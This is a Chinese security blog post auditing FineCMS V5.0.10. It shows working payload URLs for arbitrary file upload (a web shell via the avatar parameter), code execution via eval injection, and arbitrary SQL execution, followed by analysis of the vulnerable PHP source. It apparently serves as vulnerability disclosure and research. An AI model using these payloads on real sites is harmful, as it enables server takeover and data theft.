p0's blog | 破 关注网络安全
FineCMS V5.0.10 任意文件上传&&任意代码执行&&任意SQL语句执行
发表于: | 分类: 代码审计 | 评论:4 | 阅读: 2214

0x1 Payload

0x11 任意文件上传

注册个用户,修改头像,选择一张图片马:

抓包,修改post中tx参数中的jpg为php:

getshell:

目录中的1位用户id,稍微爆破一下即可。
(PS:可以在cookie中可以看到uid)

0x12 任意代码执行

index.php?c=api&m=data2&auth=e174c30q733kceb0r4kkh5m8u3p1jnh6&param=action=cache%20name=MEMBER.1'];phpinfo();$a=['1

其中auth为:

24b16fede9a67c9251d3e7c7161c83ac的md5值

0x13 任意SQL语句执行

index.php?c=api&m=data2&auth=50ce0d2401ce4802751739552c8e4467&param=action=sql%20sql='select%20user();'

auth值同上

0x2 代码分析

0x21 任意文件上传

/finecms/dayrui/controllers/member/Account.php 177~244

/**
 *  上传头像处理
 *  传入头像压缩包,解压到指定文件夹后删除非图片文件
 */
public function upload() {
    
    // 创建图片存储文件夹
    $dir = SYS_UPLOAD_PATH.'/member/'.$this->uid.'/';
    @dr_dir_delete($dir);
    !is_dir($dir) && dr_mkdirs($dir);
    
    if ($_POST['tx']) {
        $file = str_replace(' ', '+', $_POST['tx']);
        if (preg_match('/^(data:\s*image\/(\w+);base64,)/', $file, $result)){
            $new_file = $dir.'0x0.'.$result[2];
            if (!@file_put_contents($new_file, base64_decode(str_replace($result[1], '', $file)))) {
                exit(dr_json(0, '目录权限不足或磁盘已满'));
            } else {
                $this->load->library('image_lib');
                $config['create_thumb'] = TRUE;
                $config['thumb_marker'] = '';
                $config['maintain_ratio'] = FALSE;
                $config['source_image'] = $new_file;
                foreach (array(30, 45, 90, 180) as $a) {
                    $config['width'] = $config['height'] = $a;
                    $config['new_image'] = $dir.$a.'x'.$a.'.'.$result[2];
                    $this->image_lib->initialize($config);
                    if (!$this->image_lib->resize()) {
                        exit(dr_json(0, '上传错误:'.$this->image_lib->display_errors()));
                        break;
                    }
                }
                list($width, $height, $type, $attr) = getimagesize($dir.'45x45.'.$result[2]);
                !$type && exit(dr_json(0, '图片字符串不规范'));
            }
        } else {
    
            exit(dr_json(0, '图片字符串不规范'));
        }
    } else {
        exit(dr_json(0, '图片不存在'));
    }
    
// 上传图片到服务器
    if (defined('UCSSO_API')) {
        $rt = ucsso_avatar($this->uid, file_get_contents($dir.'90x90.jpg'));
        !$rt['code'] && $this->_json(0, fc_lang('通信失败:%s', $rt['msg']));
    }
    
    
    exit('1');
}

不用多解释了,直接任意文件上传。。

0x22 任意代码执行&&任意SQL语句执行

先说一下auth:
config.php
$config['sess_cookie_name'] = $site['SYS_KEY'].'_ci_session';

/finecms/dayrui/controllers/Api.php

直接可以在cookie中获取。

问题其实都出在了data2()这一个函数

/finecms/dayrui/controllers/Api.php

/**
 * 自定义数据调用(新版本)
 */
public function data2() {
    
    $data = array();
    
    // 安全码认证
    $auth = $this->input->get('auth', true);
    if ($auth != md5(SYS_KEY)) {
        // 授权认证码不正确
        $data = array('msg' => '授权认证码不正确', 'code' => 0);
    } else {
        // 解析数据
        $cache = '';
        $param = $this->input->get('param');
        if (isset($param['cache']) && $param['cache']) {
            $cache = md5(dr_array2string($param));
            $data = $this->get_cache_data($cache);
        }
        if (!$data) {
    
            // list数据查询
            $data = $this->template->list_tag($param);
            $data['code'] = $data['error'] ? 0 : 1;
            unset($data['sql'], $data['pages']);
    
            // 缓存数据
            $cache && $this->set_cache_data($cache, $data, $param['cache']);
        }
    }
    
    // 接收参数
    $format = $this->input->get('format');
    $function = $this->input->get('function');
    if ($function) {
        if (!function_exists($function)) {
            $data = array('msg' => fc_lang('自定义函数'.$function.'不存在'), 'code' => 0);
        } else {
            $data = $function($data);
        }
    }
    
    // 页面输出
    if ($format == 'php') {
        print_r($data);
    } elseif ($format == 'jsonp') {
        // 自定义返回名称
        echo $this->input->get('callback', TRUE).'('.$this->callback_json($data).')';
    } else {
        // 自定义返回名称
        echo $this->callback_json($data);
    }
    exit;
}

为什么说出在了这一个函数,因为通过这个函数可以调用到其他敏感函数,本来系统封装的函数不是给用户使用的。

可以看到,传入的参数直接进了$data = $this->template->list_tag($param);,这个函数里有什么,来截一部分:

/finecms/dayrui/libraries/Template.php

switch ($system['action']) {
    
    case 'cache': // 系统缓存数据
    
        if (!isset($param['name'])) {
            return $this->_return($system['return'], 'name参数不存在');
        }
    
        $pos = strpos($param['name'], '.');
        if ($pos !== FALSE) {
            $_name = substr($param['name'], 0, $pos);
            $_param = substr($param['name'], $pos + 1);
        } else {
            $_name = $param['name'];
            $_param = NULL;
        }
    
        $cache = $this->_cache_var($_name, !$system['site'] ? SITE_ID : $system['site']);
        if (!$cache) {
            return $this->_return($system['return'], "缓存({$_name})不存在,请在后台更新缓存");
        }
    
        if ($_param) {
            $data = array();
            @eval('$data=$cache'.$this->_get_var($_param).';');
            if (!$data) {
                return $this->_return($system['return'], "缓存({$_name})参数不存在!!");
            }
        } else {
            $data = $cache;
        }
    
        return $this->_return($system['return'], $data, '');
        break;
    
    ...
    
    case 'sql': // 直接sql查询
    
        if (preg_match('/sql=\'(.+)\'/sU', $_params, $sql)) {
    
    
            // 数据源的选择
            $db = $this->ci->db;
    
            // 替换前缀
            $sql = str_replace(
                array('@#S', '@#'),
                array($db->dbprefix.$system['site'], $db->dbprefix),
                trim(urldecode($sql[1]))
            );
            if (stripos($sql, 'SELECT') !== 0) {
                return $this->_return($system['return'], 'SQL语句只能是SELECT查询语句');
            }
    
            $total = 0;
            $pages = '';
    
            // 如存在分页条件才进行分页查询
            if ($system['page'] && $system['urlrule']) {
                $page = max(1, (int)$_GET['page']);
                $row = $this->_query(preg_replace('/select \* from/iUs', 'SELECT count(*) as c FROM', $sql), $system['site'], $system['cache'], FALSE);
                $total = (int)$row['c'];
                $pagesize = $system['pagesize'] ? $system['pagesize'] : 10;
                // 没有数据时返回空
                if (!$total) {
                    return $this->_return($system['return'], '没有查询到内容', $sql, 0);
                }
                $sql.= ' LIMIT '.$pagesize * ($page - 1).','.$pagesize;
                $pages = $this->_get_pagination(str_replace('[page]', '{page}', urldecode($system['urlrule'])), $pagesize, $total);
            }
    
            $data = $this->_query($sql, $system['site'], $system['cache']);
            $fields = NULL;
    
            if ($system['module']) {
                $fields = $this->ci->module[$system['module']]['field']; // 模型主表的字段
            }
    
            if ($fields) {
                // 缓存查询结果
                $name = 'list-action-sql-'.md5($sql);
                $cache = $this->ci->get_cache_data($name);
                if (!$cache && is_array($data)) {
                    // 模型表的系统字段
                    $fields['inputtime'] = array('fieldtype' => 'Date');
                    $fields['updatetime'] = array('fieldtype' => 'Date');
                    // 格式化显示自定义字段内容
                    foreach ($data as $i => $t) {
                        $data[$i] = $this->ci->field_format_value($fields, $t, 1);
                    }
                    //$cache = $this->ci->set_cache_data($name, $data, $system['cache']);
                    $cache = $system['cache'] ? $this->ci->set_cache_data($name, $data, $system['cache']) : $data;
                }
                $data = $cache;
            }
            return $this->_return($system['return'], $data, $sql, $total, $pages, $pagesize);
        } else {
            return $this->_return($system['return'], '参数不正确,SQL语句必须用单引号包起来'); // 没有查询到内容
        }
        break;
    
    ...
}

任意SQL语句执行到这里就不用说了。

再说一下代码执行的构造

只需使$cache有返回值就可以执行eval()了了,看一下_cache_var()函数:

public function _cache_var($name, $site = SITE_ID) {

    $data = NULL;
    $name = strtoupper($name);

    switch ($name) {
        case 'MEMBER':
            $data = $this->ci->get_cache('member');
            break;
        case 'URLRULE':
            $data = $this->ci->get_cache('urlrule');
            break;
        case 'MODULE':
            $data = $this->ci->get_cache('module');
            break;
        case 'CATEGORY':
            $site = $site ? $site : SITE_ID;
            $data = $this->ci->get_cache('category-'.$site);
            break;
        default:
            $data = $this->ci->get_cache($name.'-'.$site);
            break;
    }

    return $data;
}

只需name等于其中的几个值就可以,接下来就是根据_get_var()函数构造payload了:

public function _get_var($param) {

    $array = explode('.', $param);
    if (!$array) {
        return '';
    }

    $string = '';
    foreach ($array as $var) {
        $string.= '[';
        if (strpos($var, '$') === 0) {
            $string.= preg_replace('/\[(.+)\]/U', '[\'\\1\']', $var);
        } elseif (preg_match('/[A-Z_]+/', $var)) {
            $string.= ''.$var.'';
        } else {
            $string.= '\''.$var.'\'';
        }
        $string.= ']';
    }

    return $string;
}

就两个正则,稍微构造下就OK了

0x3 其他

另外这个地方,利用任意SQL语句返回$data也能造成代码执行,不分析了。


著作权归作者所有。
商业转载请联系作者获得授权,非商业转载请注明出处。
作者:p0
链接:http://p0sec.net/index.php/archives/109/
来源:http://p0sec.net/

已有 4 条评论

  1. Lz1y Lz1y

    第一个洞,cookie里面的uid字段就是id。不需要爆破

  2. p0 p0

    额额,没注意,谢谢大佬提醒

  3. MillionSky MillionSky

    第一个:SSV-93211
    第二个:CVE-2017-11585
    第三个还没看

添加新评论

TOP